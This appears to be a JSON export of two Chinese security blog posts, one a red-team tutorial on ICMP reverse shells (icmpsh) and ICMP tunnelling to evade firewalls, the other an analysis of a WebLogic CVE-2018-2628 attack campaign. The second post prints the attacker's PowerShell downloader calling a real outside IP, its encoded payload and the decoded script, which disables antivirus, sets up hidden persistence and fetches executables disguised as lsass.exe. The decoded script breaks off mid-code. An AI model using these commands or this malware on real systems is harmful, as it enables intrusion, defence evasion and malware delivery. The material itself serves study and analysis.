[{"content":"在本文中，您将了解通过ICMP-C2和ICMP隧道进行数据泄漏的RED TEAM操作，因为这两种方法都有助于规避防火墙规则，因为它们会在网络中产生不合理的流量。\n表中的内容 ICMP协议工作概述 通过ICMP协议进行命令和控制\n需求 icmpsh：C2通道及其安装 将icmpsh作为Master运行 将icmpsh作为Slave运行 ICMP隧道 需求 在服务器计算机上配置ICMP（目标） 通过客户端计算机配置ICMP隧道（入侵者） 通过ICMP连接SSH ICMP协议工作概述 Internet控制消息协议（ICMP）是Internet协议套件中的支持协议。网络设备（包括路由器）使用它来发送错误消息和操作信息，指示所请求的服务不可用或无法访问主机或路由器。\n它是第3层，即ping命令用于通过ICMP有效载荷发送消息的网络层协议，ICMP有效载荷用IP报头分组封装。根据MTU，ICMP包的大小不能大于1500字节。\n**网络层的ICMP数据包IP标头ICMP标题ICMP有效负载大小MTU（1500）**20个字节8个字节1472字节（最大）20 + 8 + 1472 = 1500 ping命令向目标主机发送ICMP回应请求。目标主机以echo Reply响应，这意味着目标主机处于活动状态。\n从 这里 了解更多\n通过ICMP协议进行命令和控制 在我们的许多出版物中，我们讨论过C2通道，它还被认为是命令和控制，所以你可以 在这里 找到它。虽然您很高兴学习如何使用ICMP协议作为本论文之间的命令和控制通道。\n网络战正在闯入入侵者和安全研究员，因此，我们需要保留部分备份计划。众所周知，公司已经变得越来越聪明，他们理解在实现机器的TCP反向连接后，正在观察有关攻击的类型。\n因此我们提出了ICMP秘密shell，并使用icmpsh作为命令和控制工具。\n需求\n攻击者机器或C2通道：192.168.1.108（Kali Linux） 主机：192.168.1.106（Windows 10） icmpsh：C2通道及其安装 icmpsh 是一个简单的反向ICMP shell，带有win32 slave和 CIX，Perl或Python中的POSIX兼容master。与其他类似的开源工具相比，其主要优势在于它不需要管理权限即可运行到目标计算机上。\n该工具清洁，简单，便携。从属（客户端）在目标Windows机器上运行，它用C语言编写并且仅在Windows上运行，而主服务器（服务器）可以在攻​​击者机器上的任何平台上运行，因为它已经由Nico Leidecker在C和Perl中实现，后来它也被移植到Python中。\n它非常容易安装和用作c2通道。将攻击者机器转为icmpsh并从Github下载icmpsh。\n1\ngit clonehttps://github.com/inquisb/icmpsh.git\n运行icmpsh作为Master（Kali Linux） 下载完成后，您可以使用以下命令运行主服务器。采取措施之前最重要的一步是禁用计算机上的ping回复。这可以防止内核响应ping数据包本身。\n1\n2\n3\n4\nsysctl-wnet.ipv4.icmp_echo_ignore_all=1\ncd icmpsh\nsyntax:./icmpsh_m.py\u0026lt;attacker’s-IP\u0026gt;\n./icmpsh_m.py192.168.1.108192.168.1.106\n将icmpsh作为slave运行（Windows 10） 现在再次在主机内部安装icmpsh工具以作为从站运行，并且在目标系统上运行从站的用户不需要管理权限。\n然后运行以下命令：\n1\n2\nsyntax:icmpsh.exe-t\nicmpsh.exe-t192.168.1.108\n一旦在主机上执行上述命令，入侵者将具有作为从属设备运行的机器的反向外壳。您可以从下面给出的图像中观察到机器通过产生命令提示来控制从机。\n现在正如我们所说的那样，通过帮助ping，icmpsh将通过icmp通道获得主机的反向shell。因此，我只需触发命令并使用Wireshark捕获其数据包以确保后端进程。\n大！！这与我们假设完全一样，并且在PING请求/回复数据包的帮助下通过网络层传输数据，因此不需要服务或端口。基于代理的防火墙未检测到流量，这可能会绕过防火墙规则。\nICMP隧道 ICMP隧道是一种通过在ICMP数据包上隧道传输TCP连接的方法。在这里，我们将访问将由ICMP数据包封装的ssh会话。因此，将再次在第3层建立tcp连接，即网络层，其将被封装为icmp有效载荷，这可以有助于绕过防火墙规则。\n需求 服务器机器\nens33：192.168.1.108 TUN0：10.0.0.1 客户端机器\neth0：192.168.1.111 TUN0：10.0.0.2 icmptunnel 是一种在ICMP回应请求和响应（ping）数据包中隧道传输IP流量的工具。它旨在以半隐蔽的方式绕过防火墙，例如在允许ping的网络内部进行旋转时。它可能对从公司网络到Internet的出口也很有用，尽管在网络边界过滤ICMP回送流量是很常见的。\n虽然有一些现有的工具可以实现这种技术，但是icmptunnel提供了一种更可靠的协议和一种通过状态防火墙和NAT进行隧道传输的机制。\n在服务器计算机上配置ICMP（目标） 在主机上下载并安装icmptunnel，并按照下面给出的图像编译文件\n1\n2\n3\ngit clonehttps://github.com/jamesbarlow/icmptunnel.git\ncd icmptunnel\nmake\n首先，在客户端和服务器上禁用ICMP echo reply。这会阻止内核响应ping数据包本身。\n1\necho1\u0026gt;/proc/sys/net/ipv4/icmp_echo_ignore_all\n在服务器端（主机）上，以服务器模式启动icmptunnel，并为新隧道接口分配IP地址。\n1\n2\n3\n4\n5\n./icmptunnel-s\nCtrlz\nbg\n/sbin/ifconfig tun010.0.0.1netmask255.255.255.0\nifconfig\n通过客户端计算机配置ICMP隧道（入侵者） 同样，在入侵者机器上重复相同的过程以安装icmptunnel以进行对等连接。\n1\ngit clonehttps://github.com/jamesbarlow/icmptunnel.git\n首先，编译它然后禁用ICMP echo reply以避免内核响应ping数据包本身。\n1\n2\n3\n4\n5\n6\ncd icmptunnel\nmake\necho1\u0026gt;/proc/sys/net/ipv4/icmp_echo_ignore_all\n./icmptunnel192.168.1.108\nctrlz\n/sbin/ifconfig tun010.0.0.2netmask255.255.255.0\n通过ICMP连接SSH 此时您应该通过ICMP数据包建立点对点隧道。服务器端有10.0.0.1，客户端有10.0.0.2。尝试通过SSH连接到服务器客户端上的tcp协议：\n1\nssh raj@10.0.0.1\nicmp隧道在初始阶段连接在服务器和客户端之间，可以在下图中看到，我们在Wireshark的帮助下捕获了服务器和客户端之间的流量。\n每个流量都是ICMP。分组HTTP / IP可以被视为ICMP有效载荷的一部分。HTTP / IP数据包加速到互联网。请注意源IP因为nat而被模拟的方式。因此，流量不会通过端口22连接到SSH的传输层。\n作者： Aarti Singh是Hacking Articles的社会媒体爱好者和小工具信息安全顾问的研究员和技术作家。\n","permalink":"https://www.lucien116.com/archives/479/","summary":"\u003cp\u003e在本文中，您将了解通过ICMP-C2和ICMP隧道进行数据泄漏的RED TEAM操作，因为这两种方法都有助于规避防火墙规则，因为它们会在网络中产生不合理的流量。\u003c/p\u003e\n\u003ch3 id=\"表中的内容\"\u003e\u003cstrong\u003e表中的内容\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eICMP协议工作概述\u003c/strong\u003e \u003cstrong\u003e通过ICMP协议进行命令和控制\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e需求\u003c/li\u003e\n\u003cli\u003eicmpsh：C2通道及其安装\u003c/li\u003e\n\u003cli\u003e将icmpsh作为Master运行\u003c/li\u003e\n\u003cli\u003e将icmpsh作为Slave运行\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"icmp隧道\"\u003e\u003cstrong\u003eICMP隧道\u003c/strong\u003e\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e需求\u003c/li\u003e\n\u003cli\u003e在服务器计算机上配置ICMP（目标）\u003c/li\u003e\n\u003cli\u003e通过客户端计算机配置ICMP隧道（入侵者）\u003c/li\u003e\n\u003cli\u003e通过ICMP连接SSH\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"icmp协议工作概述\"\u003e\u003cstrong\u003eICMP协议工作概述\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003eInternet控制消息协议（ICMP）是Internet协议套件中的支持协议。网络设备（包括路由器）使用它来发送错误消息和操作信息，指示所请求的服务不可用或无法访问主机或路由器。\u003c/p\u003e\n\u003cp\u003e它是第3层，即ping命令用于通过ICMP有效载荷发送消息的网络层协议，ICMP有效载荷用IP报头分组封装。根据MTU，ICMP包的大小不能大于1500字节。\u003c/p\u003e\n\u003cp\u003e**网络层的ICMP数据包\u003cstrong\u003e\u003cstrong\u003eIP标头\u003c/strong\u003e\u003c/strong\u003eICMP标题\u003cstrong\u003e\u003cstrong\u003eICMP有效负载大小\u003c/strong\u003e\u003c/strong\u003eMTU（1500）**20个字节8个字节1472字节（最大）20 + 8 + 1472 = 1500\nping命令向目标主机发送ICMP回应请求。目标主机以echo Reply响应，这意味着目标主机处于活动状态。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e从 \u003ca href=\"https://www.hackingarticles.in/understanding-guide-icmp-protocol-wireshark/\"\u003e这里\u003c/a\u003e 了解更多\u003c/strong\u003e\u003c/p\u003e\n\u003ch3 id=\"通过icmp协议进行命令和控制\"\u003e\u003cstrong\u003e通过ICMP协议进行命令和控制\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e在我们的许多出版物中，我们讨论过C2通道，它还被认为是命令和控制，所以你可以 \u003cstrong\u003e\u003ca href=\"https://www.hackingarticles.in/red-teaming/\"\u003e在这里\u003c/a\u003e\u003c/strong\u003e 找到它。虽然您很高兴学习如何使用ICMP协议作为本论文之间的命令和控制通道。\u003c/p\u003e\n\u003cp\u003e网络战正在闯入入侵者和安全研究员，因此，我们需要保留部分备份计划。众所周知，公司已经变得越来越聪明，他们理解在实现机器的TCP反向连接后，正在观察有关攻击的类型。\u003c/p\u003e\n\u003cp\u003e因此我们提出了ICMP秘密shell，并使用icmpsh作为命令和控制工具。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e需求\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e攻击者机器或C2通道：192.168.1.108（Kali Linux）\u003c/li\u003e\n\u003cli\u003e主机：192.168.1.106（Windows 10）\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"icmpshc2通道及其安装\"\u003e\u003cstrong\u003eicmpsh：C2通道及其安装\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eicmpsh\u003c/strong\u003e 是一个简单的反向ICMP shell，带有win32 slave和 \u003cstrong\u003eCIX\u003c/strong\u003e，Perl或Python中的POSIX兼容master。与其他类似的开源工具相比，其主要优势在于它不需要管理权限即可运行到目标计算机上。\u003c/p\u003e\n\u003cp\u003e该工具清洁，简单，便携。从属（客户端）在目标Windows机器上运行，它用C语言编写并且仅在Windows上运行，而主服务器（服务器）可以在攻​​击者机器上的任何平台上运行，因为它已经由Nico Leidecker在C和Perl中实现，后来它也被移植到Python中。\u003c/p\u003e\n\u003cp\u003e它非常容易安装和用作c2通道。将攻击者机器转为icmpsh并从Github下载icmpsh。\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003egit clonehttps://github.com/inquisb/icmpsh.git\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://i1.wp.com/1.bp.blogspot.com/-RV787f5w6t4/XT1xoJ8mGXI/AAAAAAAAfnA/AZ7Dtc3oBBsgC-18l4Fh6TkYCO3aHJz9wCLcBGAs/s1600/1.png?w=687\u0026ssl=1\"\u003e\u003c/p\u003e\n\u003ch3 id=\"运行icmpsh作为masterkali-linux\"\u003e\u003cstrong\u003e运行icmpsh作为Master（Kali Linux）\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e下载完成后，您可以使用以下命令运行主服务器。采取措施之前最重要的一步是禁用计算机上的ping回复。这可以防止内核响应ping数据包本身。\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003e2\u003c/p\u003e\n\u003cp\u003e3\u003c/p\u003e\n\u003cp\u003e4\u003c/p\u003e\n\u003cp\u003esysctl-wnet.ipv4.icmp_echo_ignore_all=1\u003c/p\u003e\n\u003cp\u003ecd icmpsh\u003c/p\u003e\n\u003cp\u003esyntax:./icmpsh_m.py\u0026lt;attacker’s-IP\u0026gt;\u003ctarget-IP\u003e\u003c/p\u003e\n\u003cp\u003e./icmpsh_m.py192.168.1.108192.168.1.106\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://i1.wp.com/1.bp.blogspot.com/-YPe8fsZDUQw/XT1xpWuxoII/AAAAAAAAfnU/o3sgN0yliC0YY0h_Yea6onLb-aZEUlyEACLcBGAs/s1600/2.png?w=687\u0026ssl=1\"\u003e\u003c/p\u003e\n\u003ch3 id=\"将icmpsh作为slave运行windows-10\"\u003e\u003cstrong\u003e将icmpsh作为slave运行（Windows 10）\u003c/strong\u003e\u003c/h3\u003e\n\u003cp\u003e现在再次在主机内部安装icmpsh工具以作为从站运行，并且在目标系统上运行从站的用户不需要管理权限。\u003c/p\u003e\n\u003cp\u003e然后运行以下命令：\u003c/p\u003e\n\u003cp\u003e1\u003c/p\u003e\n\u003cp\u003e2\u003c/p\u003e\n\u003cp\u003esyntax:icmpsh.exe-t\u003cKali IP\u003e\u003c/p\u003e\n\u003cp\u003eicmpsh.exe-t192.168.1.108\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://i0.wp.com/1.bp.blogspot.com/-xupIgD0Me38/XT1xrMkoCfI/AAAAAAAAfno/E6Ln9mUJlPQtQR83FPl1hzuwz5w3y5lawCLcBGAs/s1600/3.png?w=687\u0026ssl=1\"\u003e\u003c/p\u003e\n\u003cp\u003e一旦在主机上执行上述命令，入侵者将具有作为从属设备运行的机器的反向外壳。您可以从下面给出的图像中观察到机器通过产生命令提示来控制从机。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"https://i2.wp.com/1.bp.blogspot.com/-SY4cgTddQH8/XT1xq0VB05I/AAAAAAAAfnk/w8DjRwEfhzUD-r6t-jg0RivIU3B2HNujwCLcBGAs/s1600/4.png?w=687\u0026ssl=1\"\u003e\u003c/p\u003e","title":"通过ICMP进行命令控制和隧道传输"},{"content":"最近，发现有使用Oracle WebLogic RCE反序列化漏洞（CVE-2018-2628） 进行攻击的活动。\n攻击者在其请求中包含了PowerShell命令，且进过base64加密：\n解码base64后代码如下：\n$OS=(GWmi Win32_OperatingSystem).Caption; $WC=New-Object Net.WebClient; $WC.Headers[\u0026lsquo;User-Agent\u0026rsquo;]=\u0026ldquo;PowerShell/WL $OS\u0026rdquo;; IEX $WC.DownloadString(\u0026lsquo;http://101.200.45.78/images/test/DL.php\u0026rsquo;);\n攻击者试图在http://101.200.45.78/images/test/DL.php上获取DL.php文件。 尝试抓取该文件：\nERROR 404？really?\n可能是我在这里遗漏了什么？ 让我们仔细分析命令：\n我们可以看到攻击者在获取文件时需要用特定的User-Agent。\n这就是为什么尝试直接wget / curl文件时，它失败了。\n所以我们要做的是在获取文件时将User-Agent设置为完全相同。\n在这种情况下，使用curl来获取文件：\nroot@leopardbox:~# curl -v -H User-Agent: \u0026ldquo;PowerShell/WL Microsoft Windows 7 Professional\u0026rdquo; http://111.230.229.226/images/test/DL.php\n\\* Trying 111.230.229.226\u0026hellip;\n\\* Connected to 111.230.229.226 (111.230.229.226) port 80 (#0)\nGET /images/test/DL.php HTTP/1.1\nHost: 111.230.229.226\nAccept: */*\nUser-Agent: PowerShell/WL Microsoft Windows 7 Professional \u0026lt; \u0026lt; HTTP/1.1 200 OK\n\u0026lt; Date: Sun, 29 Apr 2018 11:50:23 GMT\n\u0026lt; Server: Apache/2.2.21 (Win32) PHP/5.3.10\n\u0026lt; X-Powered-By: PHP/5.3.10\n\u0026lt; Content-Length: 2539\n\u0026lt; Content-Type: text/html\n\u0026lt; $EncodedCompressedFile = \u0026lsquo;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\u0026rsquo;;$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress);$UncompressedFileBytes = New-Object Byte[](3948);$Null=$DeflatedStream.Read($UncompressedFileBytes, 0, 3948);([Text.Encoding]::ASCII.GetString($UncompressedFileBytes)) | IEX;\n我们在这里看到另一个Base64编码\n使用下面的Python脚本对其进行解码。\n有了这个脚本，我们基本上可以看到Base64正在做什么。\n以上面的Base64为例，将其粘贴在编码参数中，如下所示：\n#!/usr/bin/python import base64 import zlib\nencoded = \u0026ldquo;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\u0026rdquo;\n# [Convert]::FromBase64String decoded = base64.b64decode(encoded)\n# IO.Compression.DeflateStream # 15 is the default parameter, negative makes it ignore the gzip header decompressed = zlib.decompress(decoded, -15)\nprint decompressed\n保存脚本并运行Python脚本：\nC:\\Users\\Fossil\\Desktop\u0026gt;python decodeb64.py \u0026gt; output_DL_php.txt\n现在我们看看文本文件中的内容：\n$MutexName = \u0026lsquo;Global\\20190720\u0026rsquo; $bCreated = $Flase $hMutex = New-Object System.Threading.Mutex($true,$MutexName,[Ref]$bCreated) if ($bCreated) { Start-Sleep 180 $hMutex.ReleaseMutex() } else { Exit }\n#Update $WmiName = \u0026lsquo;root\\cimv2:PowerShell_Command\u0026rsquo; $mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties[\u0026lsquo;mPId\u0026rsquo;].Value if ($mPId -ne $Null) { Write-Host \u0026ldquo;[i] Old PId: $mPId\u0026rdquo; Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force } $WmiName = \u0026lsquo;root\\default:PowerShell_Command\u0026rsquo; $mPId=$Null;$mPId = ([WmiClass] $WmiName).Properties[\u0026lsquo;mPId\u0026rsquo;].Value if ($mPId -ne $Null) { Write-Host \u0026ldquo;[i] Old PId: $mPId\u0026rdquo; Get-Process -Id $mPId -ErrorAction SilentlyContinue | Stop-Process -Force }\n$SrvName = \u0026ldquo;ZhuDongFangYu\u0026rdquo;, \u0026ldquo;NisSrv\u0026rdquo;,\u0026ldquo;MsMpSvc\u0026rdquo;,\u0026ldquo;WdNisSvc\u0026rdquo;,\u0026ldquo;WinDefend\u0026rdquo;, \u0026ldquo;MBAMService\u0026rdquo;,\u0026ldquo;a2AntiMalware\u0026rdquo; foreach ($Srv in $SrvName) { # Set-Service -Name $Srv -StartupType Disabled -ErrorAction SilentlyContinue # Stop-Service -Name $Srv -Force -ErrorAction SilentlyContinue $Null = SC.exe Config $Srv Start= Disabled $Null = SC.exe Stop $Srv } $ProName = \u0026ldquo;ZhuDongFangYu\u0026rdquo;, \u0026ldquo;MsMpEng\u0026rdquo;,\u0026ldquo;MpCmdRun\u0026rdquo;,\u0026ldquo;msseces\u0026rdquo;,\u0026ldquo;NisSrv\u0026rdquo;,\u0026ldquo;MSASCui\u0026rdquo;, \u0026ldquo;mbamtray\u0026rdquo;,\u0026ldquo;mbamservice\u0026rdquo;,\u0026ldquo;a2service\u0026rdquo; foreach ($Pro in $ProName) { Get-Process -Name $Pro -ErrorAction SilentlyContinue | Stop-Process -Force }\n$Null = Reg.exe Add \u0026ldquo;HKLM\\SoftWare\\Microsoft\\Windows Defender\\SpyNet\u0026rdquo; /v \u0026ldquo;SpyNetReporting\u0026rdquo; /t REG_DWORD /d 0 /f $Null = Reg.exe Add \u0026ldquo;HKLM\\SoftWare\\Microsoft\\Windows Defender\\Exclusions\\Paths\u0026rdquo; /v \u0026ldquo;$Env:WinDir\u0026rdquo; /t REG_DWORD /d 0 /f $Null = Reg.exe Add \u0026ldquo;HKLM\\SoftWare\\Policies\\Microsoft\\Windows Defender\u0026rdquo; /v \u0026ldquo;DisableAntiSpyware\u0026rdquo; /t REG_DWORD /d 1 /f $Null = Reg.exe Add HKLM\\System\\CurrentControlSet\\Services\\NisSrv /v Start /t REG_DWORD /d 4 /f $Null = Reg.exe Add HKLM\\System\\CurrentControlSet\\Services\\MsMpSvc /v Start /t REG_DWORD /d 4 /f $Null = Reg.exe Add HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc /v Start /t REG_DWORD /d 4 /f $Null = Reg.exe Add HKLM\\System\\CurrentControlSet\\Services\\WinDefend /v Start /t REG_DWORD /d 4 /f\n$Script = \u0026ldquo;Start-Sleep (Get-Random -Min 60 -Max 300);IEX (New-Object Net.WebClient).DownloadString(\u0026lsquo;http://101.200.45.78/images/def/DL.ps1\u0026rsquo;);\u0026rdquo;; $ScriptBytes = [System.Text.Encoding]::Unicode.GetBytes($Script); $EncodedScript = [System.Convert]::ToBase64String($ScriptBytes);\n$Path = \u0026ldquo;$Env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\PowerShell.exe\u0026rdquo; $Argv = \u0026ldquo;-NoP -NonI -EP ByPass -W Hidden -E $EncodedScript\u0026rdquo; $Process = Start-Process -FilePath $Path -ArgumentList $Argv -WindowStyle Hidden -PassThru $ProcessId = $($Process.Id) if ($ProcessId -ne $Null) { Write-Host \u0026ldquo;[+] Neutrino PS Process Id is $ProcessId\u0026rdquo; } else { Write-Host \u0026ldquo;[-] Neutrino PS Process Id is NULL\u0026rdquo; }\n#Downloader $x86 = \u0026ldquo;http://101.200.45.78/images/test/x86.exe\u0026rdquo; $x64 = \u0026ldquo;http://101.200.45.78/images/test/x64.exe\u0026rdquo; $File = \u0026ldquo;$Env:WinDir\\Temp\\lsass.eXe\u0026rdquo; $WC = New-Object System.Net.WebClient\n$Dir = \u0026ldquo;$Env:WinDir\\Temp\u0026rdquo;; if (!(Test-Path $Dir)){ New-Item $Dir -Type Directory; } if (!((Get-Item $File -Force) -is [IO.FileInfo])) { Remove-Item $File -Force -ErrorAction SilentlyContinue }\n$OS = (Get-WmiObject Win32_ComputerSystem).SystemType $SO = (Get-WmiObject Win32_OperatingSystem).OSArchitecture if (($OS -Match \u0026lsquo;64\u0026rsquo;) -Or ($SO -Match \u0026lsquo;64\u0026rsquo;)) { Write-Host \u0026ldquo;[i] OS 64-bit\u0026rdquo; $WC.DownloadFile($x64, $File) if ((Test-Path $File) -eq $False) { $WC.DownloadFile(\u0026ldquo;http://101.200.45.78/images/test/x64_VMP.exe\u0026rdquo;, $File) } } else { Write-Host \u0026lsquo;[i] OS 32-bit\u0026rsquo; $WC.DownloadFile($x86, $File) if ((Test-Path $File) -eq $False) { $WC.DownloadFile(\u0026ldquo;http://101.200.45.78/images/test/x86_VMP.exe\u0026rdquo;, $File) } 